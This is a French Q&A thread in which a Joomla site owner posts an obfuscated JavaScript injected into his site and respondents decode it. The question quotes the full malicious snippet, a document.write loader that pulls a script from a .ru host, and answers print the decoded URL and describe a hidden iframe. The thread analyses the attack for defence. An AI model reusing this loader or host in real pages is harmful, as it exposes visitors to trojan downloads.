100 votes

Comment fonctionne ce script infectant le site ?

Mon site web Joomla ! a été piraté à plusieurs reprises. Quelqu'un, d'une manière ou d'une autre, a réussi à injecter les déchets suivants dans la clé php scripts, mais je ne veux pas parler de la configuration de Joomla. Le site n'est pas beaucoup visité (j'ai parfois peur d'être le seul visiteur de ce site...) et je ne me soucie guère de le remettre en service. Je m'en occuperai plus tard.

Ma question est la suivante : comment ces déchets fonctionnent-ils ? Je la regarde et je ne vois pas comment elle peut faire du mal. Ce qu'il fait, c'est qu'il essaie de télécharger un fichier PDF appelé ChangeLog.pdf, qui est infecté par un cheval de Troie et qui, une fois ouvert, bloquera votre Acrobat et causera des ravages sur votre machine. Comment fait-il cela, je ne sais pas, je m'en fiche. Mais comment le morceau de script suivant invoque-t-il le téléchargement ?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET a détecté ce code comme Trojan JS/TrojanDownloader.Agent.NRO

41 votes

S'il vous plaît, que personne ne s'aventure à vérifier le lien par curiosité !

1 votes

Oui, n'essayez pas de comprendre ce qui se passe, la magie est dans le simple encodage de l'URL et le décodage/parsage ultérieur de la chaîne en utilisant le Replace/RegEx que vous voyez à la fin de la ligne.

13 votes

"morceau de script" ressemblait à tout autre chose, au début.

182voto

SLaks Points 391154

Remarquez le replace appel après la chaîne de caractères géante et désordonnée : .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '') .

Il supprime la plupart des caractères spéciaux, ce qui en fait une URL normale :

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(J'ai changé manuellement http: a evil: )

Notez que la regex aurait pu être simplifiée en .replace(/[#$@^&()!]/ig, '')

Si vous regardez le script, vous verrez que c'est un script très simple qui injecte un IFRAME caché contenant le chemin d'accès /index.php?ys du même domaine.

J'ai demandé cette page dans Fiddler, et elle n'avait pas de contenu.

6 votes

Je pense que le script fournissant le contenu de l'iframe est fait de manière à ne pas lancer le téléchargement du pdf à chaque fois. Il y a peut-être une chance sur 10 ou quelque chose comme ça. Il n'a pas essayé de télécharger le pdf à chaque fois que j'ai rafraîchi la page joomla. Cela pourrait même être 1 sur 100... qui sait ?

175 votes

+1 pour avoir mentionné que le code aurait pu être écrit plus efficacement :)

9 votes

Pekka, je pense que ça a été délibérément écrit comme ça pour être plus obscur.

34voto

i.ngen-io-us Points 2398

Ces réponses peuvent vous aider à comprendre la nature du code JavaScript malveillant, mais ce que vous devriez rechercher, c'est un moyen de combler la faille inhérente au moteur de Joomla. Les frameworks pré-packagés sont sujets à des failles, intentionnelles ou non, surtout si l'on considère qu'ils sont conçus pour fonctionner sur des environnements unix, mac et Windows.

Dans le cadre de mon travail, je dois gérer de nombreux domaines, applications et frameworks sur de nombreux types de serveurs et de systèmes pour mes clients et moi-même. Au fil du temps, j'ai vu de plus en plus de bots parcourir ces systèmes à la recherche de failles/entrées connues par le biais de portes dérobées créées par ces frameworks. Heureusement, lorsque j'utilise un framework, ce que je fais rarement, je m'assure de renommer la plupart, voire la totalité, de la structure des fichiers pour me débarrasser de ces failles/portes dérobées. Vous pouvez au moins renommer les répertoires, ce qui éliminera la plupart des robots, mais ma méthode consiste à éliminer complètement les références qui donnent des indices sur la nature du framework, ce qui implique de renommer toute la structure de fichiers et pas seulement les répertoires. Gardez toujours une carte des nouvelles conventions de nommage par rapport aux anciennes afin de faciliter l'ajout de plug-ins à votre framework de base. Une fois que vous avez compris le principe, vous pouvez aller jusqu'à renommer par programme l'ensemble de la structure de fichiers du framework pour obtenir des résultats plus rapides, ce qui est particulièrement utile lorsque vous avez affaire à des clients qui ont besoin de pouvoir mettre à jour leur framework avec des plug-ins et autres.

1 votes

Ne supprimez pas les informations relatives à la source du cadre, ce serait une erreur.

2 votes

Oooo, merci. C'est une bonne réponse. Je ne réponds pas vraiment à la question mais quand même +1, car c'était en effet une lecture très intéressante et de bonnes suggestions ont été faites. Merci

20voto

Russ Cam Points 58168

Il fait juste un remplacement regex sur l'url script pour vous donner

_NOTE : NE SUIVEZ PAS LE LIEN SUIVANT (inséré dans le site). `` pour dissuader les copieurs)_**

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

comme le src

0 votes

C'est aussi simple que cela, n'est-ce pas ? mon dieu... j'ai encore été piégé par SO :)

0 votes

@Josh - C'est à vous de voir, je ne l'ai pas essayé donc je ne peux pas vous dire exactement pourquoi. Je soupçonne qu'il peut y avoir des scripts malveillants sur la page. Vous pourriez le faire à vos risques et périls !

8voto

Sarfraz Points 168484

Il utilise la fonction replace pour remplacer les caractères inutiles à l'aide d'une expression rationnelle, rien d'anormal dans le code :

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')

7voto

YOU Points 44812

Son charger script de

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

Et cette charge script iframe de avec visibilité hidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys

Prograide.com

Prograide est une communauté de développeurs qui cherche à élargir la connaissance de la programmation au-delà de l'anglais.
Pour cela nous avons les plus grands doutes résolus en français et vous pouvez aussi poser vos propres questions ou résoudre celles des autres.

Powered by:

X